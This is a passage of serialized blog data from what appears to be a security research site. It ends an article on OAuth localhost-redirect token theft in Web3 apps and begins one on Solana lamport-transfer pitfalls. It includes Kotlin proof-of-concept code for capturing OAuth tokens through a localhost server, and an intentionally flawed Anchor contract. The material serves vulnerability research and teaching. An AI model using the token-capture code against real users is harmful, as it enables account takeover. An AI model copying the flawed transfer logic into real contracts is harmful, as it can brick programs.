Uri.",{"type":25,"tag":201,"props":71823,"children":71824},{"style":214},[71825],{"type":31,"value":40282},{"type":25,"tag":201,"props":71827,"children":71828},{"style":220},[71829],{"type":31,"value":71830},"(googleOAuthUrl))\n",{"type":25,"tag":201,"props":71832,"children":71833},{"class":203,"line":625},[71834,71839],{"type":25,"tag":201,"props":71835,"children":71836},{"style":214},[71837],{"type":31,"value":71838},"        startActivity",{"type":25,"tag":201,"props":71840,"children":71841},{"style":220},[71842],{"type":31,"value":71843},"(browserIntent)\n",{"type":25,"tag":201,"props":71845,"children":71846},{"class":203,"line":642},[71847],{"type":25,"tag":201,"props":71848,"children":71849},{"style":220},[71850],{"type":31,"value":4861},{"type":25,"tag":201,"props":71852,"children":71853},{"class":203,"line":659},[71854],{"type":25,"tag":201,"props":71855,"children":71856},{"emptyLinePlaceholder":17},[71857],{"type":31,"value":496},{"type":25,"tag":201,"props":71859,"children":71860},{"class":203,"line":667},[71861,71866,71870,71875],{"type":25,"tag":201,"props":71862,"children":71863},{"style":208},[71864],{"type":31,"value":71865},"    private",{"type":25,"tag":201,"props":71867,"children":71868},{"style":208},[71869],{"type":31,"value":7715},{"type":25,"tag":201,"props":71871,"children":71872},{"style":214},[71873],{"type":31,"value":71874}," startWebServer",{"type":25,"tag":201,"props":71876,"children":71877},{"style":220},[71878],{"type":31,"value":223},{"type":25,"tag":201,"props":71880,"children":71881},{"class":203,"line":676},[71882,71887,71892,71896,71901],{"type":25,"tag":201,"props":71883,"children":71884},{"style":214},[71885],{"type":31,"value":71886},"        embeddedServer",{"type":25,"tag":201,"props":71888,"children":71889},{"style":220},[71890],{"type":31,"value":71891},"(CIO, port ",{"type":25,"tag":201,"props":71893,"children":71894},{"style":261},[71895],{"type":31,"value":1383},{"type":25,"tag":201,"props":71897,"children":71898},{"style":426},[71899],{"type":31,"value":71900}," 3000",{"type":25,"tag":201,"props":71902,"children":71903},{"style":220},[71904],{"type":31,"value":275},{"type":25,"tag":201,"props":71906,"children":71907},{"class":203,"line":694},[71908,71913],{"type":25,"tag":201,"props":71909,"children":71910},{"style":214},[71911],{"type":31,"value":71912},"            routing",{"type":25,"tag":201,"props":71914,"children":71915},{"style":220},[71916],{"type":31,"value":327},{"type":25,"tag":201,"props":71918,"children":71919},{"class":203,"line":707},[71920,71925,71929,71934],{"type":25,"tag":201,"props":71921,"children":71922},{"style":208},[71923],{"type":31,"value":71924},"                get",{"type":25,"tag":201,"props":71926,"children":71927},{"style":220},[71928],{"type":31,"value":298},{"type":25,"tag":201,"props":71930,"children":71931},{"style":267},[71932],{"type":31,"value":71933},"\"{...}\"",{"type":25,"tag":201,"props":71935,"children":71936},{"style":220},[71937],{"type":31,"value":275},{"type":25,"tag":201,"props":71939,"children":71940},{"class":203,"line":715},[71941,71946,71951],{"type":25,"tag":201,"props":71942,"children":71943},{"style":220},[71944],{"type":31,"value":71945},"                    call.",{"type":25,"tag":201,"props":71947,"children":71948},{"style":214},[71949],{"type":31,"value":71950},"respondHtml",{"type":25,"tag":201,"props":71952,"children":71953},{"style":220},[71954],{"type":31,"value":327},{"type":25,"tag":201,"props":71956,"children":71957},{"class":203,"line":732},[71958,71963],{"type":25,"tag":201,"props":71959,"children":71960},{"style":214},[71961],{"type":31,"value":71962},"                        head",{"type":25,"tag":201,"props":71964,"children":71965},{"style":220},[71966],{"type":31,"value":327},{"type":25,"tag":201,"props":71968,"children":71969},{"class":203,"line":749},[71970,71975,71980,71984,71989],{"type":25,"tag":201,"props":71971,"children":71972},{"style":214},[71973],{"type":31,"value":71974},"                            meta",{"type":25,"tag":201,"props":71976,"children":71977},{"style":220},[71978],{"type":31,"value":71979},"(charset ",{"type":25,"tag":201,"props":71981,"children":71982},{"style":261},[71983],{"type":31,"value":1383},{"type":25,"tag":201,"props":71985,"children":71986},{"style":267},[71987],{"type":31,"value":71988}," \"UTF-8\"",{"type":25,"tag":201,"props":71990,"children":71991},{"style":220},[71992],{"type":31,"value":4666},{"type":25,"tag":201,"props":71994,"children":71995},{"class":203,"line":757},[71996,72000,72005,72009,72014,72019,72023,72028],{"type":25,"tag":201,"props":71997,"children":71998},{"style":214},[71999],{"type":31,"value":71974},{"type":25,"tag":201,"props":72001,"children":72002},{"style":220},[72003],{"type":31,"value":72004},"(name ",{"type":25,"tag":201,"props":72006,"children":72007},{"style":261},[72008],{"type":31,"value":1383},{"type":25,"tag":201,"props":72010,"children":72011},{"style":267},[72012],{"type":31,"value":72013}," \"viewport\"",{"type":25,"tag":201,"props":72015,"children":72016},{"style":220},[72017],{"type":31,"value":72018},", content ",{"type":25,"tag":201,"props":72020,"children":72021},{"style":261},[72022],{"type":31,"value":1383},{"type":25,"tag":201,"props":72024,"children":72025},{"style":267},[72026],{"type":31,"value":72027}," \"width=device-width, initial-scale=1.0\"",{"type":25,"tag":201,"props":72029,"children":72030},{"style":220},[72031],{"type":31,"value":4666},{"type":25,"tag":201,"props":72033,"children":72034},{"class":203,"line":765},[72035,72040,72044,72049],{"type":25,"tag":201,"props":72036,"children":72037},{"style":214},[72038],{"type":31,"value":72039},"                            title",{"type":25,"tag":201,"props":72041,"children":72042},{"style":220},[72043],{"type":31,"value":298},{"type":25,"tag":201,"props":72045,"children":72046},{"style":267},[72047],{"type":31,"value":72048},"\"OAuth Redirect\"",{"type":25,"tag":201,"props":72050,"children":72051},{"style":220},[72052],{"type":31,"value":4666},{"type":25,"tag":201,"props":72054,"children":72055},{"class":203,"line":783},[72056],{"type":25,"tag":201,"props":72057,"children":72058},{"style":220},[72059],{"type":31,"value":72060},"                        }\n",{"type":25,"tag":201,"props":72062,"children":72063},{"class":203,"line":792},[72064,72069],{"type":25,"tag":201,"props":72065,"children":72066},{"style":214},[72067],{"type":31,"value":72068},"                        body",{"type":25,"tag":201,"props":72070,"children":72071},{"style":220},[72072],{"type":31,"value":327},{"type":25,"tag":201,"props":72074,"children":72075},{"class":203,"line":801},[72076,72081,72085,72089,72094],{"type":25,"tag":201,"props":72077,"children":72078},{"style":214},[72079],{"type":31,"value":72080},"                            h1",{"type":25,"tag":201,"props":72082,"children":72083},{"style":220},[72084],{"type":31,"value":11090},{"type":25,"tag":201,"props":72086,"children":72087},{"style":261},[72088],{"type":31,"value":5886},{"type":25,"tag":201,"props":72090,"children":72091},{"style":267},[72092],{"type":31,"value":72093},"\"Google OAuth Redirect\"",{"type":25,"tag":201,"props":72095,"children":72096},{"style":220},[72097],{"type":31,"value":11100},{"type":25,"tag":201,"props":72099,"children":72100},{"class":203,"line":809},[72101,72106],{"type":25,"tag":201,"props":72102,"children":72103},{"style":214},[72104],{"type":31,"value":72105},"                            script",{"type":25,"tag":201,"props":72107,"children":72108},{"style":220},[72109],{"type":31,"value":327},{"type":25,"tag":201,"props":72111,"children":72112},{"class":203,"line":857},[72113,72118],{"type":25,"tag":201,"props":72114,"children":72115},{"style":261},[72116],{"type":31,"value":72117},"                                +",{"type":25,"tag":201,"props":72119,"children":72120},{"style":267},[72121],{"type":31,"value":72122},"\"document.body.innerText = location.search;\"\n",{"type":25,"tag":201,"props":72124,"children":72125},{"class":203,"line":865},[72126],{"type":25,"tag":201,"props":72127,"children":72128},{"style":220},[72129],{"type":31,"value":72130},"                            }\n",{"type":25,"tag":201,"props":72132,"children":72133},{"class":203,"line":931},[72134],{"type":25,"tag":201,"props":72135,"children":72136},{"style":220},[72137],{"type":31,"value":72060},{"type":25,"tag":201,"props":72139,"children":72140},{"class":203,"line":939},[72141],{"type":25,"tag":201,"props":72142,"children":72143},{"style":220},[72144],{"type":31,"value":72145},"                    }\n",{"type":25,"tag":201,"props":72147,"children":72148},{"class":203,"line":960},[72149],{"type":25,"tag":201,"props":72150,"children":72151},{"style":220},[72152],{"type":31,"value":72153},"                }\n",{"type":25,"tag":201,"props":72155,"children":72156},{"class":203,"line":977},[72157],{"type":25,"tag":201,"props":72158,"children":72159},{"style":220},[72160],{"type":31,"value":59964},{"type":25,"tag":201,"props":72162,"children":72163},{"class":203,"line":994},[72164,72169,72174,72179,72183,72187],{"type":25,"tag":201,"props":72165,"children":72166},{"style":220},[72167],{"type":31,"value":72168},"        }.",{"type":25,"tag":201,"props":72170,"children":72171},{"style":214},[72172],{"type":31,"value":72173},"start",{"type":25,"tag":201,"props":72175,"children":72176},{"style":220},[72177],{"type":31,"value":72178},"(wait ",{"type":25,"tag":201,"props":72180,"children":72181},{"style":261},[72182],{"type":31,"value":1383},{"type":25,"tag":201,"props":72184,"children":72185},{"style":208},[72186],{"type":31,"value":13971},{"type":25,"tag":201,"props":72188,"children":72189},{"style":220},[72190],{"type":31,"value":4666},{"type":25,"tag":201,"props":72192,"children":72193},{"class":203,"line":1016},[72194],{"type":25,"tag":201,"props":72195,"children":72196},{"style":220},[72197],{"type":31,"value":4861},{"type":25,"tag":201,"props":72199,"children":72200},{"class":203,"line":1089},[72201],{"type":25,"tag":201,"props":72202,"children":72203},{"style":220},[72204],{"type":31,"value":1187},{"type":25,"tag":34,"props":72206,"children":72207},{},[72208],{"type":31,"value":72209},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":25,"tag":34,"props":72211,"children":72212},{},[72213],{"type":31,"value":72214},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":25,"tag":40,"props":72216,"children":72218},{"id":72217},"mitigation-1",[72219],{"type":31,"value":41407},{"type":25,"tag":34,"props":72221,"children":72222},{},[72223,72225,72230],{"type":31,"value":72224},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":25,"tag":115,"props":72226,"children":72228},{"className":72227},[],[72229],{"type":31,"value":70847},{"type":31,"value":72231}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":25,"tag":26,"props":72233,"children":72234},{"id":4323},[72235],{"type":31,"value":4326},{"type":25,"tag":34,"props":72237,"children":72238},{},[72239],{"type":31,"value":72240},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":25,"tag":34,"props":72242,"children":72243},{},[72244],{"type":31,"value":72245},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":25,"tag":4349,"props":72247,"children":72248},{},[72249],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":72251},[72252,72259,72264,72267],{"id":70615,"depth":226,"text":70618,"children":72253},[72254,72255,72256,72257,72258],{"id":70626,"depth":278,"text":70629},{"id":70653,"depth":278,"text":70656},{"id":70714,"depth":278,"text":70717},{"id":70771,"depth":278,"text":70774},{"id":70870,"depth":278,"text":70873},{"id":70916,"depth":226,"text":70919,"children":72260},[72261,72262,72263],{"id":70922,"depth":278,"text":70925},{"id":70949,"depth":278,"text":70952},{"id":41404,"depth":278,"text":41407},{"id":71398,"depth":226,"text":71401,"children":72265},[72266],{"id":72217,"depth":278,"text":41407},{"id":4323,"depth":226,"text":4326},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":72272,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":72273,"description":72274,"author":41523,"image":72275,"date":72277,"isFeatured":17,"tags":72278,"onBlogPage":17,"body":72279,"_type":4371,"_id":76933,"_source":4373,"_file":76934,"_stem":76935,"_extension":4376},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":72276,"height":15,"width":15},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[4388],{"type":22,"children":72280,"toc":76922},[72281,72285,72290,72304,72310,72315,72345,72350,72355,73393,73398,73406,73411,73417,73423,73435,73468,73480,73493,73505,73950,73955,74001,74007,74012,74099,74104,74118,74131,74794,74799,74811,74817,74828,74840,74994,75008,75027,75048,75054,75059,75404,75409,75415,75434,75448,76070,76075,76095,76100,76105,76111,76123,76144,76319,76325,76330,76631,76652,76664,76676,76760,76780,76792,76798,76810,76816,76821,76844,76856,76862,76874,76879,76885,76890,76895,76913,76918],{"type":25,"tag":26,"props":72282,"children":72283},{"id":28},[72284],{"type":31,"value":32},{"type":25,"tag":34,"props":72286,"children":72287},{},[72288],{"type":31,"value":72289},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":25,"tag":34,"props":72291,"children":72292},{},[72293,72295,72302],{"type":31,"value":72294},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":25,"tag":71,"props":72296,"children":72299},{"href":72297,"rel":72298},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[75],[72300],{"type":31,"value":72301},"King of the Ether",{"type":31,"value":72303},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":25,"tag":26,"props":72305,"children":72307},{"id":72306},"the-game-king-of-the-sol",[72308],{"type":31,"value":72309},"The Game: King of the SOL",{"type":25,"tag":34,"props":72311,"children":72312},{},[72313],{"type":31,"value":72314},"The game works like this:",{"type":25,"tag":18183,"props":72316,"children":72317},{},[72318,72330,72335,72340],{"type":25,"tag":6948,"props":72319,"children":72320},{},[72321,72323,72328],{"type":31,"value":72322},"Anyone can become the ",{"type":25,"tag":1252,"props":72324,"children":72325},{},[72326],{"type":31,"value":72327},"king",{"type":31,"value":72329}," by bidding at least 2× the previous bid.",{"type":25,"tag":6948,"props":72331,"children":72332},{},[72333],{"type":31,"value":72334},"The old king is reimbursed 95% of their bid.",{"type":25,"tag":6948,"props":72336,"children":72337},{},[72338],{"type":31,"value":72339},"The remaining 5% goes into a prize pot.",{"type":25,"tag":6948,"props":72341,"children":72342},{},[72343],{"type":31,"value":72344},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":25,"tag":34,"props":72346,"children":72347},{},[72348],{"type":31,"value":72349},"Simple, right?",{"type":25,"tag":34,"props":72351,"children":72352},{},[72353],{"type":31,"value":72354},"This is the core logic:",{"type":25,"tag":191,"props":72356,"children":72358},{"className":4487,"code":72357,"language":4486,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[72359],{"type":25,"tag":115,"props":72360,"children":72361},{"__ignoreMap":7},[72362,72377,72405,72420,72461,72468,72476,72527,72558,72565,72573,72588,72620,72627,72642,72673,72680,72687,72695,72712,72786,72794,72855,72867,72895,72935,72947,72963,72970,72978,73052,73064,73103,73131,73143,73158,73165,73173,73243,73287,73361,73368,73379,73386],{"type":25,"tag":201,"props":72363,"children":72364},{"class":203,"line":204},[72365,72369,72373],{"type":25,"tag":201,"props":72366,"children":72367},{"style":220},[72368],{"type":31,"value":24333},{"type":25,"tag":201,"props":72370,"children":72371},{"style":4925},[72372],{"type":31,"value":24338},{"type":25,"tag":201,"props":72374,"children":72375},{"style":220},[72376],{"type":31,"value":21755},{"type":25,"tag":201,"props":72378,"children":72379},{"class":203,"line":226},[72380,72384,72388,72393,72397,72401],{"type":25,"tag":201,"props":72381,"children":72382},{"style":208},[72383],{"type":31,"value":15192},{"type":25,"tag":201,"props":72385,"children":72386},{"style":208},[72387],{"type":31,"value":22646},{"type":25,"tag":201,"props":72389,"children":72390},{"style":4925},[72391],{"type":31,"value":72392}," ChangeKing",{"type":25,"tag":201,"props":72394,"children":72395},{"style":220},[72396],{"type":31,"value":24418},{"type":25,"tag":201,"props":72398,"children":72399},{"style":4925},[72400],{"type":31,"value":24423},{"type":25,"tag":201,"props":72402,"children":72403},{"style":220},[72404],{"type":31,"value":8790},{"type":25,"tag":201,"props":72406,"children":72407},{"class":203,"line":278},[72408,72412,72416],{"type":25,"tag":201,"props":72409,"children":72410},{"style":220},[72411],{"type":31,"value":24623},{"type":25,"tag":201,"props":72413,"children":72414},{"style":208},[72415],{"type":31,"value":5228},{"type":25,"tag":201,"props":72417,"children":72418},{"style":220},[72419],{"type":31,"value":21755},{"type":25,"tag":201,"props":72421,"children":72422},{"class":203,"line":311},[72423,72427,72432,72436,72440,72444,72448,72452,72457],{"type":25,"tag":201,"props":72424,"children":72425},{"style":208},[72426],{"type":31,"value":22338},{"type":25,"tag":201,"props":72428,"children":72429},{"style":246},[72430],{"type":31,"value":72431}," throne",{"type":25,"tag":201,"props":72433,"children":72434},{"style":261},[72435],{"type":31,"value":5997},{"type":25,"tag":201,"props":72437,"children":72438},{"style":4925},[72439],{"type":31,"value":24588},{"type":25,"tag":201,"props":72441,"children":72442},{"style":220},[72443],{"type":31,"value":24418},{"type":25,"tag":201,"props":72445,"children":72446},{"style":4925},[72447],{"type":31,"value":24423},{"type":25,"tag":201,"props":72449,"children":72450},{"style":220},[72451],{"type":31,"value":919},{"type":25,"tag":201,"props":72453,"children":72454},{"style":4925},[72455],{"type":31,"value":72456},"Throne",{"type":25,"tag":201,"props":72458,"children":72459},{"style":220},[72460],{"type":31,"value":7646},{"type":25,"tag":201,"props":72462,"children":72463},{"class":203,"line":330},[72464],{"type":25,"tag":201,"props":72465,"children":72466},{"emptyLinePlaceholder":17},[72467],{"type":31,"value":496},{"type":25,"tag":201,"props":72469,"children":72470},{"class":203,"line":397},[72471],{"type":25,"tag":201,"props":72472,"children":72473},{"style":4497},[72474],{"type":31,"value":72475},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":25,"tag":201,"props":72477,"children":72478},{"class":203,"line":437},[72479,72483,72487,72492,72496,72501,72505,72510,72514,72518,72522],{"type":25,"tag":201,"props":72480,"children":72481},{"style":220},[72482],{"type":31,"value":24623},{"type":25,"tag":201,"props":72484,"children":72485},{"style":208},[72486],{"type":31,"value":5228},{"type":25,"tag":201,"props":72488,"children":72489},{"style":220},[72490],{"type":31,"value":72491},", constraint ",{"type":25,"tag":201,"props":72493,"children":72494},{"style":261},[72495],{"type":31,"value":1383},{"type":25,"tag":201,"props":72497,"children":72498},{"style":220},[72499],{"type":31,"value":72500}," old_king",{"type":25,"tag":201,"props":72502,"children":72503},{"style":261},[72504],{"type":31,"value":80},{"type":25,"tag":201,"props":72506,"children":72507},{"style":220},[72508],{"type":31,"value":72509},"key() ",{"type":25,"tag":201,"props":72511,"children":72512},{"style":261},[72513],{"type":31,"value":10083},{"type":25,"tag":201,"props":72515,"children":72516},{"style":220},[72517],{"type":31,"value":72431},{"type":25,"tag":201,"props":72519,"children":72520},{"style":261},[72521],{"type":31,"value":80},{"type":25,"tag":201,"props":72523,"children":72524},{"style":220},[72525],{"type":31,"value":72526},"king)]\n",{"type":25,"tag":201,"props":72528,"children":72529},{"class":203,"line":464},[72530,72534,72538,72542,72546,72550,72554],{"type":25,"tag":201,"props":72531,"children":72532},{"style":208},[72533],{"type":31,"value":22338},{"type":25,"tag":201,"props":72535,"children":72536},{"style":246},[72537],{"type":31,"value":72500},{"type":25,"tag":201,"props":72539,"children":72540},{"style":261},[72541],{"type":31,"value":5997},{"type":25,"tag":201,"props":72543,"children":72544},{"style":4925},[72545],{"type":31,"value":26883},{"type":25,"tag":201,"props":72547,"children":72548},{"style":220},[72549],{"type":31,"value":24418},{"type":25,"tag":201,"props":72551,"children":72552},{"style":4925},[72553],{"type":31,"value":24423},{"type":25,"tag":201,"props":72555,"children":72556},{"style":220},[72557],{"type":31,"value":7646},{"type":25,"tag":201,"props":72559,"children":72560},{"class":203,"line":490},[72561],{"type":25,"tag":201,"props":72562,"children":72563},{"emptyLinePlaceholder":17},[72564],{"type":31,"value":496},{"type":25,"tag":201,"props":72566,"children":72567},{"class":203,"line":499},[72568],{"type":25,"tag":201,"props":72569,"children":72570},{"style":4497},[72571],{"type":31,"value":72572},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":25,"tag":201,"props":72574,"children":72575},{"class":203,"line":522},[72576,72580,72584],{"type":25,"tag":201,"props":72577,"children":72578},{"style":220},[72579],{"type":31,"value":24623},{"type":25,"tag":201,"props":72581,"children":72582},{"style":208},[72583],{"type":31,"value":5228},{"type":25,"tag":201,"props":72585,"children":72586},{"style":220},[72587],{"type":31,"value":21755},{"type":25,"tag":201,"props":72589,"children":72590},{"class":203,"line":531},[72591,72595,72600,72604,72608,72612,72616],{"type":25,"tag":201,"props":72592,"children":72593},{"style":208},[72594],{"type":31,"value":22338},{"type":25,"tag":201,"props":72596,"children":72597},{"style":246},[72598],{"type":31,"value":72599}," new_king",{"type":25,"tag":201,"props":72601,"children":72602},{"style":261},[72603],{"type":31,"value":5997},{"type":25,"tag":201,"props":72605,"children":72606},{"style":4925},[72607],{"type":31,"value":26883},{"type":25,"tag":201,"props":72609,"children":72610},{"style":220},[72611],{"type":31,"value":24418},{"type":25,"tag":201,"props":72613,"children":72614},{"style":4925},[72615],{"type":31,"value":24423},{"type":25,"tag":201,"props":72617,"children":72618},{"style":220},[72619],{"type":31,"value":7646},{"type":25,"tag":201,"props":72621,"children":72622},{"class":203,"line":550},[72623],{"type":25,"tag":201,"props":72624,"children":72625},{"emptyLinePlaceholder":17},[72626],{"type":31,"value":496},{"type":25,"tag":201,"props":72628,"children":72629},{"class":203,"line":563},[72630,72634,72638],{"type":25,"tag":201,"props":72631,"children":72632},{"style":220},[72633],{"type":31,"value":24623},{"type":25,"tag":201,"props":72635,"children":72636},{"style":208},[72637],{"type":31,"value":5228},{"type":25,"tag":201,"props":72639,"children":72640},{"style":220},[72641],{"type":31,"value":21755},{"type":25,"tag":201,"props":72643,"children":72644},{"class":203,"line":572},[72645,72649,72653,72657,72661,72665,72669],{"type":25,"tag":201,"props":72646,"children":72647},{"style":208},[72648],{"type":31,"value":22338},{"type":25,"tag":201,"props":72650,"children":72651},{"style":246},[72652],{"type":31,"value":43313},{"type":25,"tag":201,"props":72654,"children":72655},{"style":261},[72656],{"type":31,"value":5997},{"type":25,"tag":201,"props":72658,"children":72659},{"style":4925},[72660],{"type":31,"value":24652},{"type":25,"tag":201,"props":72662,"children":72663},{"style":220},[72664],{"type":31,"value":24418},{"type":25,"tag":201,"props":72666,"children":72667},{"style":4925},[72668],{"type":31,"value":24423},{"type":25,"tag":201,"props":72670,"children":72671},{"style":220},[72672],{"type":31,"value":7646},{"type":25,"tag":201,"props":72674,"children":72675},{"class":203,"line":590},[72676],{"type":25,"tag":201,"props":72677,"children":72678},{"style":220},[72679],{"type":31,"value":1187},{"type":25,"tag":201,"props":72681,"children":72682},{"class":203,"line":608},[72683],{"type":25,"tag":201,"props":72684,"children":72685},{"emptyLinePlaceholder":17},[72686],{"type":31,"value":496},{"type":25,"tag":201,"props":72688,"children":72689},{"class":203,"line":617},[72690],{"type":25,"tag":201,"props":72691,"children":72692},{"style":220},[72693],{"type":31,"value":72694},"#[program]\n",{"type":25,"tag":201,"props":72696,"children":72697},{"class":203,"line":625},[72698,72702,72707],{"type":25,"tag":201,"props":72699,"children":72700},{"style":208},[72701],{"type":31,"value":15192},{"type":25,"tag":201,"props":72703,"children":72704},{"style":208},[72705],{"type":31,"value":72706}," mod",{"type":25,"tag":201,"props":72708,"children":72709},{"style":220},[72710],{"type":31,"value":72711}," king_of_the_sol {\n",{"type":25,"tag":201,"props":72713,"children":72714},{"class":203,"line":642},[72715,72719,72723,72728,72732,72736,72740,72744,72748,72753,72757,72762,72766,72770,72774,72778,72782],{"type":25,"tag":201,"props":72716,"children":72717},{"style":208},[72718],{"type":31,"value":22338},{"type":25,"tag":201,"props":72720,"children":72721},{"style":208},[72722],{"type":31,"value":15197},{"type":25,"tag":201,"props":72724,"children":72725},{"style":214},[72726],{"type":31,"value":72727}," change_king",{"type":25,"tag":201,"props":72729,"children":72730},{"style":220},[72731],{"type":31,"value":298},{"type":25,"tag":201,"props":72733,"children":72734},{"style":246},[72735],{"type":31,"value":21777},{"type":25,"tag":201,"props":72737,"children":72738},{"style":261},[72739],{"type":31,"value":5997},{"type":25,"tag":201,"props":72741,"children":72742},{"style":4925},[72743],{"type":31,"value":21786},{"type":25,"tag":201,"props":72745,"children":72746},{"style":220},[72747],{"type":31,"value":1298},{"type":25,"tag":201,"props":72749,"children":72750},{"style":4925},[72751],{"type":31,"value":72752},"ChangeKing",{"type":25,"tag":201,"props":72754,"children":72755},{"style":220},[72756],{"type":31,"value":8139},{"type":25,"tag":201,"props":72758,"children":72759},{"style":246},[72760],{"type":31,"value":72761},"bid_amount",{"type":25,"tag":201,"props":72763,"children":72764},{"style":261},[72765],{"type":31,"value":5997},{"type":25,"tag":201,"props":72767,"children":72768},{"style":4925},[72769],{"type":31,"value":7369},{"type":25,"tag":201,"props":72771,"children":72772},{"style":220},[72773],{"type":31,"value":385},{"type":25,"tag":201,"props":72775,"children":72776},{"style":261},[72777],{"type":31,"value":15259},{"type":25,"tag":201,"props":72779,"children":72780},{"style":4925},[72781],{"type":31,"value":15264},{"type":25,"tag":201,"props":72783,"children":72784},{"style":220},[72785],{"type":31,"value":21828},{"type":25,"tag":201,"props":72787,"children":72788},{"class":203,"line":659},[72789],{"type":25,"tag":201,"props":72790,"children":72791},{"style":4497},[72792],{"type":31,"value":72793},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":25,"tag":201,"props":72795,"children":72796},{"class":203,"line":667},[72797,72801,72805,72809,72813,72817,72821,72825,72829,72834,72838,72843,72847,72851],{"type":25,"tag":201,"props":72798,"children":72799},{"style":214},[72800],{"type":31,"value":65528},{"type":25,"tag":201,"props":72802,"children":72803},{"style":220},[72804],{"type":31,"value":298},{"type":25,"tag":201,"props":72806,"children":72807},{"style":246},[72808],{"type":31,"value":72761},{"type":25,"tag":201,"props":72810,"children":72811},{"style":261},[72812],{"type":31,"value":9810},{"type":25,"tag":201,"props":72814,"children":72815},{"style":246},[72816],{"type":31,"value":27327},{"type":25,"tag":201,"props":72818,"children":72819},{"style":261},[72820],{"type":31,"value":80},{"type":25,"tag":201,"props":72822,"children":72823},{"style":220},[72824],{"type":31,"value":380},{"type":25,"tag":201,"props":72826,"children":72827},{"style":261},[72828],{"type":31,"value":80},{"type":25,"tag":201,"props":72830,"children":72831},{"style":220},[72832],{"type":31,"value":72833},"throne",{"type":25,"tag":201,"props":72835,"children":72836},{"style":261},[72837],{"type":31,"value":80},{"type":25,"tag":201,"props":72839,"children":72840},{"style":220},[72841],{"type":31,"value":72842},"last_bid_amount ",{"type":25,"tag":201,"props":72844,"children":72845},{"style":261},[72846],{"type":31,"value":6077},{"type":25,"tag":201,"props":72848,"children":72849},{"style":426},[72850],{"type":31,"value":9443},{"type":25,"tag":201,"props":72852,"children":72853},{"style":220},[72854],{"type":31,"value":308},{"type":25,"tag":201,"props":72856,"children":72857},{"class":203,"line":676},[72858,72863],{"type":25,"tag":201,"props":72859,"children":72860},{"style":214},[72861],{"type":31,"value":72862},"        transfer_from_signer",{"type":25,"tag":201,"props":72864,"children":72865},{"style":220},[72866],{"type":31,"value":4970},{"type":25,"tag":201,"props":72868,"children":72869},{"class":203,"line":694},[72870,72874,72878,72882,72886,72890],{"type":25,"tag":201,"props":72871,"children":72872},{"style":261},[72873],{"type":31,"value":9194},{"type":25,"tag":201,"props":72875,"children":72876},{"style":246},[72877],{"type":31,"value":21777},{"type":25,"tag":201,"props":72879,"children":72880},{"style":261},[72881],{"type":31,"value":80},{"type":25,"tag":201,"props":72883,"children":72884},{"style":220},[72885],{"type":31,"value":380},{"type":25,"tag":201,"props":72887,"children":72888},{"style":261},[72889],{"type":31,"value":80},{"type":25,"tag":201,"props":72891,"children":72892},{"style":220},[72893],{"type":31,"value":72894},"payer,\n",{"type":25,"tag":201,"props":72896,"children":72897},{"class":203,"line":707},[72898,72902,72906,72910,72914,72918,72922,72926,72931],{"type":25,"tag":201,"props":72899,"children":72900},{"style":261},[72901],{"type":31,"value":9194},{"type":25,"tag":201,"props":72903,"children":72904},{"style":246},[72905],{"type":31,"value":21777},{"type":25,"tag":201,"props":72907,"children":72908},{"style":261},[72909],{"type":31,"value":80},{"type":25,"tag":201,"props":72911,"children":72912},{"style":220}